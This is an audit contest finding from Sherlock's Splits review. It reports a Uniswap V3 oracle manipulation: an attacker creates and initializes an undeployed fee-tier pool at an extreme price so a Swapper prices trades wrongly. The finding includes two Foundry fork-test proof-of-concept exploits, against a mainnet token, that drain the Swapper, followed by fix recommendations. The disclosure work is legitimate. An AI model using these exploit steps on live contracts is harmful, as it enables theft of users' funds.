sherlock-audit / 2023-04-splits-judging

4 stars 1 forks source link

theOwl - Oracle Manipulation using Uniswap V3 pool that is not yet deployed #113

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

theOwl

high

Oracle Manipulation using Uniswap V3 pool that is not yet deployed

Summary

It is possible to manipulate the oracle price through a pool that is not yet initialized, an attacker could check the defaultFee of the Oracle implementation used by a swapper and then check what tokens a swapper have in his balance, if there is a right match where the defaultFee for a token pair does not exist an attacker could deploy and initialized it with his desired price. This is possible because a beneficiary can receive any tokens in his Swapper from a SplitMain and also the defaultFee and tokenToBeneficiary remains the same for all the received tokens if they are not expressly overridden.

Vulnerability Detail

The UniOracleV3Impl contract is calling into the uniswap v3 twap oracle to get the price of a pair of tokens using the function _getQuoteAmount , inside the UniOracleV3Impl we have a few owner/admin configurable variable that are needed to be set so that the oracle will work normally, among those variable there is one called defaultFee or just fee for the override pairs that could be leveraged by an attacker in an logic edge case because the uniswapv3 is using the fee value to find the address of a pool.

Uniswapv3 is having 4 different fee tiers ( 0,01%, 0,05%, 0,3%, 1% ) for each different tier, you need a different pool, the pools can be initialized by anyone if they are not initialized yet, let's take as an example token UNIDX ( it's the token of a defi trading aggregator https://www.unidex.exchange/ ).

image We can clearly see on uniswap v3 frontend that all the pools have been deployed besides the one for the fee tier 0,05%

An attacker can go ahead and deploy & initialize the pool with his desired price, one that is way off from the other pools, if the defaultFee from the oracle is set to the value of the pool that is not yet deployed then the oracle will get the rate from that manipulated pool.

Impact

Let's look at the following scenarios:

Scenario #1:

  1. TraderDAO received UNIDX tokens through an Airdrop from UNIDX because they are an active user of their platform and is using the Diversifyer template to swap them into WETH tokens.
  2. The defaultFee in the Swapper they are using is 0,05% because they are using the same swapper to exchange any tokens into WETH ( tokenToBeneficiary == WETH )
  3. An attack that was keeping a close eye on their Swapper have noticed this and because he already knows that there is no uniswap pool for the 0,05% tier in the case of UNIDX he is going ahead and creating it himself ( through a MEV or a dark pool if it's necessary ).
  4. When the attacker is initializing the pool is putting it's square ratio price with the value of 4295128739 ( the MIN_VALUE for the square price in an uniswap pool )
  5. Now he is going ahead and trading on swapper by calling the function flash with the pair UNIDX/WETH and a base amount of 1 ether ( 1e18, basically buying from the swapper contract 1e18 UNIDX).
  6. However because the price is manipulated the return value from the call to the OracleLibrary.consult will be -887272 which will return the value of an amount to beneficiary to be 0 regarding what we input as a baseAmount when calculating the quote using the getQuoteAtTick function.

! To run the test copy paste the following poc unit test ( test_audit_fork_pool_doesnt_exist_for_fee_tier_make_oracle_return_0 ) inside the SwapperImpl.t.sol after that add the following anywhere in the file :

OracleImpl.QuoteParams[] qParams;
error Pool_DoesNotExist();
contract Trader {
    receive() external payable {
        console.log("Trader received: ", msg.value);
    }

    function swapperFlashCallback(address tokenToBeneficiary, uint256 amountToBeneficiary, bytes calldata data)
        external{}
}

interface IERC20 {
    function transfer(address to, uint amount) external;
    function balanceOf(address _user) external returns(unit);
    function approve(address, uint) external;
}

POC:

   function test_audit_fork_pool_doesnt_exist_for_fee_tier_make_oracle_return_0() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        vm.createSelectFork(MAINNET_RPC_URL, BLOCK_NUMBER);
        address UNIDX = 0x95b3497bBcCcc46a8F45F5Cf54b0878b39f8D96C;

        trader = address(new Trader());

        oracleFactory = new UniV3OracleFactory({
            uniswapV3Factory_: IUniswapV3Factory(UNISWAP_V3_FACTORY),
            weth9_: WETH9
        });
        //default fee 0,05%
        initOracleParams.defaultFee = 5_00;
        initOracleParams.defaultPeriod = 30 minutes;
        initOracleParams.defaultScaledOfferFactor = 99_00_00;
        UniV3OracleImpl oracleUniV3Impl = oracleFactory.createUniV3Oracle(initOracleParams);

        //address pool for 0,01%
        address unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(UNIDX, WETH9, 1_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 0,3%
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(UNIDX, WETH9, 30_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 1%
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(UNIDX, WETH9, 100_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 0,05% not existent, means pool is not created yet
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(UNIDX, WETH9, 5_00);
        assertEq(unidxETHPool, address(0));

        //create the quote pair
        QuotePair memory unidxETH = QuotePair({base: UNIDX, quote: WETH9});
        qParams.push(OracleImpl.QuoteParams({
                quotePair: unidxETH,
                baseAmount: 1 ether, // 
                data: ""
        }));

        uint256 defaultFee = oracleUniV3Impl.defaultFee();
        console.log("Default fee: ", defaultFee);

        //try to get quoate and call will fail
        vm.expectRevert(Pool_DoesNotExist.selector);
        oracleUniV3Impl.getQuoteAmounts(qParams);

        //now create unidx - eth pool for 0,05% fee
        IUniswapV3Factory(UNISWAP_V3_FACTORY).createPool(UNIDX, WETH9, 5_00);

        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(UNIDX, WETH9, 5_00);
        assertNotEq(unidxETHPool, address(0));

        uint160 MIN_SQRT_RATIO = 4295128739; //taken from uniswapV3 core repo, TickMath.sol L#63
        IUniswapV3Pool(unidxETHPool).initialize(MIN_SQRT_RATIO);

        //need to wait the necessary period, depends of the configuration let's say defaultPeriod = 30 minutes
        skip(1800);

        uint256[] memory amounts = oracleUniV3Impl.getQuoteAmounts(qParams);
        for(uint i; i< amounts.length; i++){
            console.log("Amount: ", amounts[i]);
        }
        oracleParams.oracle = OracleImpl(address(oracleUniV3Impl));
        //the swapper with the oracle
        swapperFactory = new SwapperFactory();
        createSwapperParams = SwapperFactory.CreateSwapperParams({
            owner: users.alice,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: WETH9,
            oracleParams: oracleParams
        });

        swapper = swapperFactory.createSwapper(createSwapperParams);

        //giving the swapper some unidx tokens; simulating that it already have them in to be able to make the swap
        deal(address(UNIDX), address(swapper), 1 ether);
        uint beforeTraderWETHBalance = IERC20(WETH9).balanceOf(trader);

        uint beforeTraderUNIDXBalance = IERC20(UNIDX).balanceOf(trader);

        vm.startPrank(trader);
        swapper.flash(qParams, "");
        vm.stopPrank();

        uint afterTraderWETHBalance = IERC20(WETH9).balanceOf(trader);

        uint afterTraderUNIDXBalance = IERC20(UNIDX).balanceOf(trader);

        assertEq(beforeTraderWETHBalance, afterTraderWETHBalance); //no balance have been deducted (nothing was payed as result of getQuoteAmounts is 0)
        assertGt(afterTraderUNIDXBalance, beforeTraderUNIDXBalance); //this is not equal as trader receive unidx from swapper

   }

Scenario #2:

  1. TraderDAO wants to exchange some if the ether it received into UNIDX as it wants to pay the fees associated with the usage of the platform, in this case the beneficiary of the tokens will be directly the fee address of the UNIDX platform.
  2. The defaultFee in the Swapper they are using is 0,05% as they are not aware about the fact that there is no pool deployed for the 0,05% tier, they have used the 0,05% defaultFee for all the Swappers they have deployed.
  3. An attack that was keeping a close eye on their Swapper have noticed this and because he already knows that there is no uniswap pool for the 0,05% tier in the case of UNIDX he is going ahead and creating it himself ( through a MEV or a dark pool if it's necessary ).
  4. When the attacker is initializing the pool he can initalized them with a ratio of 1-1, making 1 eth costing 1 UNIDX.
  5. Now he is going ahead and trading on swapper by calling the function flash with the pair WETH/UNIDX and a base amount of 1 ether ( 1e18, basically selling 1e18 UNIDX to the Swapper).
  6. As the price is manipulated the oracle will return a price of 1:1, basically 1 UNIDX will cost 1 WETH.

POC:

   function test_audit_fork_pool_doesnt_exist_for_fee_tier_manipulated_price_returns_different_from_0_equal_ratio() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        vm.createSelectFork(MAINNET_RPC_URL, BLOCK_NUMBER);
        address UNIDX = 0x95b3497bBcCcc46a8F45F5Cf54b0878b39f8D96C;

        trader = address(new Trader());

        oracleFactory = new UniV3OracleFactory({
            uniswapV3Factory_: IUniswapV3Factory(UNISWAP_V3_FACTORY),
            weth9_: WETH9
        });
        //default fee 0,05%
        initOracleParams.defaultFee = 5_00;
        initOracleParams.defaultPeriod = 30 minutes;
        initOracleParams.defaultScaledOfferFactor = 99_00_00;
        UniV3OracleImpl oracleUniV3Impl = oracleFactory.createUniV3Oracle(initOracleParams);

        //address pool for 0,01%
        address unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(WETH9, UNIDX, 1_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 0,3%
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(WETH9, UNIDX, 30_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 1%
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(WETH9, UNIDX, 100_00);
        assertNotEq(unidxETHPool, address(0));
        //address pool for 0,05% not existent, means pool is not created yet
        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(WETH9, UNIDX, 5_00);
        assertEq(unidxETHPool, address(0));

        //create the quote pair
        QuotePair memory wethUNIX = QuotePair({base: WETH9, quote: UNIDX});
        qParams.push(OracleImpl.QuoteParams({
                quotePair: wethUNIX,
                baseAmount: 1 ether, // 
                data: ""
        }));

        uint256 defaultFee = oracleUniV3Impl.defaultFee();
        console.log("Default fee: ", defaultFee);

        //try to get quoate and call will fail
        vm.expectRevert(Pool_DoesNotExist.selector);
        oracleUniV3Impl.getQuoteAmounts(qParams);

        //now create unidx - eth pool for 0,05% fee
        IUniswapV3Factory(UNISWAP_V3_FACTORY).createPool(WETH9, UNIDX, 5_00);

        unidxETHPool = IUniswapV3Factory(UNISWAP_V3_FACTORY).getPool(WETH9, UNIDX, 5_00);
        assertNotEq(unidxETHPool, address(0));

        uint reserveWETH = 1 ether;
        uint reserveUniDX = 1 ether;

        uint160 sqrtPow96Price =  uint160( (2 ** 96) * sqrt(reserveUniDX/reserveWETH));
        IUniswapV3Pool(unidxETHPool).initialize(sqrtPow96Price);

        //need to wait the necessary period, depends of the configuration let's say defaultPeriod = 30 minutes
        skip(1800);

        uint256[] memory amounts = oracleUniV3Impl.getQuoteAmounts(qParams);
        for(uint i; i< amounts.length; i++){
            console.log("Amount: ", amounts[i]);
        }
        oracleParams.oracle = OracleImpl(address(oracleUniV3Impl));
        //the swapper with the oracle
        swapperFactory = new SwapperFactory();
        createSwapperParams = SwapperFactory.CreateSwapperParams({
            owner: users.alice,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: UNIDX,
            oracleParams: oracleParams
        });

        swapper = swapperFactory.createSwapper(createSwapperParams);

        //giving the swapper some unidx tokens; simulating that it already have them in to be able to make the swap
        //giving the trader some UNIDX tokens, simulating as it is already holding them
        deal(address(WETH9), address(swapper), 1 ether);
        deal(address(UNIDX), trader, 1 ether);

        vm.startPrank(trader);
        IERC20(UNIDX).approve(address(swapper), 1 ether);
        swapper.flash(qParams, "");
        vm.stopPrank();

        uint afterTraderWETHBalance = IERC20(WETH9).balanceOf(trader);
        uint afterSwapperWETHBalance = IERC20(WETH9).balanceOf(address(swapper));
        uint afterBeneficiarUNIDXBalance = IERC20(UNIDX).balanceOf(beneficiary);

        assertEq(afterBeneficiarUNIDXBalance, 0.99 ether); //beneficiary received 0,99e+18 UNIDX balance, even if the price for 1 UNIDX is ~6$
        assertEq(afterTraderWETHBalance, 1 ether); //trader received 1 weth for 6$ worth of UNIDX
        assertEq(afterSwapperWETHBalance, 0); //swapper doesn't have weth anymore

   }

Code Snippet

https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Factory.sol#L34 https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3PoolDeployer.sol#L27 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L248 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L277 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L284 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L203 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L227 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L231 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L249 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L257

Tool used

Manual Review

Recommendation

  1. Before returning the result from _getQuoteAmount, check that the result is not 0, if it is 0 revert the execution.
  2. Add a check when the owner is overriding pairs to check if that pair actually exist into uniswapv3
  3. When sending tokens from the Splitter to the Swapper, check that those tokens have all the pools initalized on uniswapv3

Duplicate of #26